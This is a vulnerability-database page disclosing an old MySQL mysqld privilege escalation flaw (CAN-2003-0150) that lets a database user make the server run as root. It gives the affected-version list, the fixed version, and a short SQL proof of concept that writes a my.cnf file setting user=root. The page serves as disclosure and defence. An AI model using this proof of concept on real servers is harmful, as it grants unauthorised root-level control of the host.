exploits , vulnerabilities , articles , MySQL mysqld Privilege Escalation Vulnerability

Title	MySQL mysqld Privilege Escalation Vulnerability
Published	2003-03-08-12:00AM
Updated	2003-09-18-10:27PM
Class	Configuration Error
CVE	CAN-2003-0150
Remote	Yes
Local	No
Credit	Discovery of this vulnerability credited to bugsman@libero.it.
Vulnerable	RedHat Enterprise Linux WS 2.1 IA64 RedHat Enterprise Linux WS 2.1 RedHat Enterprise Linux ES 2.1 IA64 RedHat Enterprise Linux ES 2.1 RedHat Enterprise Linux AS 2.1 IA64 RedHat Enterprise Linux AS 2.1 RedHat Advanced Workstation for the Itanium Processor 2.1 MySQL AB MySQL 3.23.55 OpenPKG OpenPKG Current Trustix Secure Linux 1.5 MySQL AB MySQL 3.23.54 a OpenPKG OpenPKG Current OpenPKG OpenPKG 1.2 RedHat Linux 9.0 i386 MySQL AB MySQL 3.23.54 Sun Cobalt RaQ 550 Trustix Secure Linux 1.5 MySQL AB MySQL 3.23.53 a MySQL AB MySQL 3.23.53 OpenPKG OpenPKG Current Sun Cobalt Qube 3 MySQL AB MySQL 3.23.52 Conectiva Linux Enterprise Edition 1.0 MandrakeSoft Linux Mandrake 9.0 OpenPKG OpenPKG 1.1 RedHat Linux 8.0 RedHat Linux 8.0 i386 S.u.S.E. Linux 8.1 Trustix Secure Linux 1.5 MySQL AB MySQL 3.23.51 MySQL AB MySQL 3.23.50 MySQL AB MySQL 3.23.49 Debian Linux 3.0 alpha Debian Linux 3.0 arm Debian Linux 3.0 hppa Debian Linux 3.0 ia32 Debian Linux 3.0 ia64 Debian Linux 3.0 m68k Debian Linux 3.0 mips Debian Linux 3.0 mipsel Debian Linux 3.0 ppc Debian Linux 3.0 s/390 Debian Linux 3.0 sparc RedHat Linux 7.3 RedHat Linux 7.3 i386 RedHat Linux 7.3 i686 MySQL AB MySQL 3.23.48 S.u.S.E. Linux 8.0 S.u.S.E. Linux 8.0 i386 MySQL AB MySQL 3.23.47 MandrakeSoft Linux Mandrake 8.2 MandrakeSoft Linux Mandrake 8.2 ppc MySQL AB MySQL 3.23.46 Conectiva Linux 8.0 OpenPKG OpenPKG 1.0 MySQL AB MySQL 3.23.45 MySQL AB MySQL 3.23.44 S.u.S.E. Linux 7.3 S.u.S.E. Linux 7.3 i386 S.u.S.E. Linux 7.3 ppc S.u.S.E. Linux 7.3 sparc MySQL AB MySQL 3.23.43 MySQL AB MySQL 3.23.42 MySQL AB MySQL 3.23.41 MandrakeSoft Linux Mandrake 8.1 MandrakeSoft Linux Mandrake 8.1 ia64 RedHat Linux 7.2 RedHat Linux 7.2 alpha RedHat Linux 7.2 ia64 MySQL AB MySQL 3.23.40 MySQL AB MySQL 3.23.39 HP SCM 3.0 MySQL AB MySQL 3.23.38 MySQL AB MySQL 3.23.37 S.u.S.E. Linux 7.2 S.u.S.E. Linux 7.2 i386 MySQL AB MySQL 3.23.36 Conectiva Linux 6.0 Conectiva Linux 7.0 EnGarde Secure Linux 1.0.1 MandrakeSoft Linux Mandrake 8.0 MandrakeSoft Linux Mandrake 8.0 ppc RedHat Linux 7.1 RedHat Linux 7.1 i386 RedHat Linux 7.1 i586 RedHat Linux 7.1 i686 RedHat Linux 7.1 ia64 Conectiva Linux 9.0 Conectiva Linux 8.0 Conectiva Linux 7.0
Not Vulnerable	MySQL AB MySQL 3.23.56
Code	The following proof of concept was provided: mysql>CREATE DATABASE roottext; mysql>USE roottext; mysql>CREATE TABLE hack (conf VARCHAR(80)); mysql>INSERT IN hack VALUES ('[mysqld]'); mysql>INSERT IN hack VALUES ('user=root'); mysql>SELECT * INTO OUTFILE '/path/to/mysql/datadir/my.cnf' FROM hack mysql>QUIT
TXT

Vulnerabilities - newest 10 RSS | More

2008-12-04 Rae Media Web Based Contact Management Login SQL Injection Vulnerability
2008-12-04 Nagios External Commands and Adaptive Commands Unspecified Vulnerability
2008-12-04 Z1Exchange SQL Injection and Cross Site Scripting Vulnerabilities
2008-12-04 mvnForum Cross Site Scripting Vulnerability
2008-12-04 i-Net Solution Orkut Clone SQL Injection and Cross Site Scripting Vulnerabilities
2008-12-04 Sun Java Runtime Environment and Java Development Kit Multiple Security Vulnerabilities
2008-12-04 Jbook SQL Injection Vulnerability
2008-12-04 SquirrelMail Malformed HTML Mail Message HTML Injection Vulnerability
2008-12-04 HP-UX Unspecified Local Denial Of Service Vulnerability
2008-12-04 Netrw Vim Script Information Disclosure Vulnerability